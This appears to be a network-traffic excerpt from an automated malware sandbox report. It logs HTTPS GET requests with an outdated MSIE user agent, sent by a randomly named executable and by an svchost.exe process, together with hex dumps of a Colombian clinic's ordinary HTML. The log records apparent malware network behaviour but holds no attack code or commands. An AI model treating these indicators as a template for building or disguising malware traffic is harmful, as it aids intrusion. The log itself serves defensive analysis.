2023-03-10 06:56:58 UTC	2985	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.6	2130	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:58 UTC	2969	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	50309	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:55:59 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co
2023-03-10 06:56:00 UTC	102	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Set-Cookie: d55e479f054c94814cbc10d217aaa990=bbd2a9ecd1f16e6deb08a6c096c7155a; path=/; HttpOnly Last-Modified: Fri, 10 Mar 2023 06:56:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=U8ESCNJQima5t1HfEow%2BDLqZxzTW3NJ7HwIlxoEz9C9wGu0uzQuZTWdAlSzf%2BPzdkK9d%2BfXXwV%2FbUtk1IJG7q7iCY5OG%2FlG5%2FLsO3yymlnjUBxIGUdb58hJWRL45l7bwOxX%2FGj5jGPI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a7be39f99944-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:00 UTC	103	IN	Data Raw: 37 63 34 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7c48<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-03-10 06:56:00 UTC	104	IN	Data Raw: 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 73 74 79 6c 65 73 2f 72 6f 6b 62 6f 78 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 6f 64 75 6c 65 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b Data Ascii: <link href="/plugins/system/rokbox/assets/styles/rokbox.css" rel="stylesheet" /><link href="/modules/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link
2023-03-10 06:56:00 UTC	105	IN	Data Raw: 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: src="/media/system/js/core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script>
2023-03-10 06:56:00 UTC	106	IN	Data Raw: 61 73 73 65 74 73 2f 6a 73 2f 68 74 6d 6c 35 73 68 69 76 2d 70 72 69 6e 74 73 68 69 76 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 Data Ascii: assets/js/html5shiv-printshiv.min.js"></script> <link rel="stylesheet" href="/media/gantry5/users/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></scrip
2023-03-10 06:56:00 UTC	108	IN	Data Raw: 6e 75 65 73 74 72 61 5f 63 6c 69 6e 69 63 61 2f 6c 6f 67 6f 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2e 70 6e 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 Data Ascii: nuestra_clinica/logo_horizontal.png" alt="Clinica San Luis" /></a></div></div><div class="g-block size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-t
2023-03-10 06:56:00 UTC	109	IN	Data Raw: 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 23 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 73 70 61 6e 3e 42 61 63 6b 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 20 3c 73 70 61 6e 20 Data Ascii: "g-menu-item-container" href="#" data-g-menuparent=""><span>Back</span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"> <span
2023-03-10 06:56:00 UTC	110	IN	Data Raw: 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 70 65 63 69 61 6c 69 64 61 64 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d Data Ascii: n class="g-menu-item-content"><span class="g-menu-item-title">Especialidades</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item
2023-03-10 06:56:00 UTC	112	IN	Data Raw: 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 70 6f 6c 69 74 69 63 61 73 2d 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 Data Ascii: index.php/nuestra-clinica/politicas-institucionales"><span class="g-menu-item-content"><span class="g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g
2023-03-10 06:56:00 UTC	113	IN	Data Raw: 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 Data Ascii: class="g-menu-item-container" href="/index.php/nuestra-clinica/nuestros-pacientes"><span class="g-menu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul cla
2023-03-10 06:56:00 UTC	114	IN	Data Raw: 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 39 36 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 Data Ascii: li><li class="g-menu-item g-menu-item-type-component g-menu-item-396 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span cla
2023-03-10 06:56:00 UTC	116	IN	Data Raw: 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 53 49 43 4f 46 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f Data Ascii: tem-content"><span class="g-menu-item-title">SICOF</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-co
2023-03-10 06:56:00 UTC	117	IN	Data Raw: 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 63 72 c3 ad 62 65 6e 6f 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 Data Ascii: ss="g-menu-item-content"><span class="g-menu-item-title">Escrbenos</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-me
2023-03-10 06:56:00 UTC	118	IN	Data Raw: 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 Data Ascii: /span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-385 "><a class="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></s
2023-03-10 06:56:00 UTC	120	IN	Data Raw: 6c 61 20 65 73 70 65 72 61 6e 7a 61 20 64 65 6c 20 6d 61 c3 b1 61 6e 61 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6c 61 74 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c Data Ascii: la esperanza del maana</div></div> </div><div class="platform-content"><div class="moduletable "><style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0,
2023-03-10 06:56:00 UTC	121	IN	Data Raw: 20 6f 70 65 6e 45 66 66 65 63 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 6f 70 65 6e 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 45 66 66 65 63 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a Data Ascii: openEffect: 'none', //elastic, fade or none openSpeed : 250, closeEffect: 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,
2023-03-10 06:56:00 UTC	122	IN	Data Raw: 70 5f 61 68 6f 6c 69 63 27 29 3b 0d 0a 09 72 65 66 49 44 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 09 0d 0a 7d 0d 0a 66 75 6e 63 74 69 6f 6e 20 68 69 64 65 73 74 75 66 66 28 62 6f 78 69 64 29 7b 0d 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f Data Ascii: p_aholic');refID.style.display = "none";}function hidestuff(boxid){ document.getElementById(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto
2023-03-10 06:56:00 UTC	124	IN	Data Raw: 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a Data Ascii: size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" />
2023-03-10 06:56:00 UTC	125	IN	Data Raw: 63 6b 20 68 69 64 64 65 6e 2d 70 68 6f 6e 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 75 73 74 6f 6d 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 68 69 64 64 65 6e 2d 70 68 6f 6e 65 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 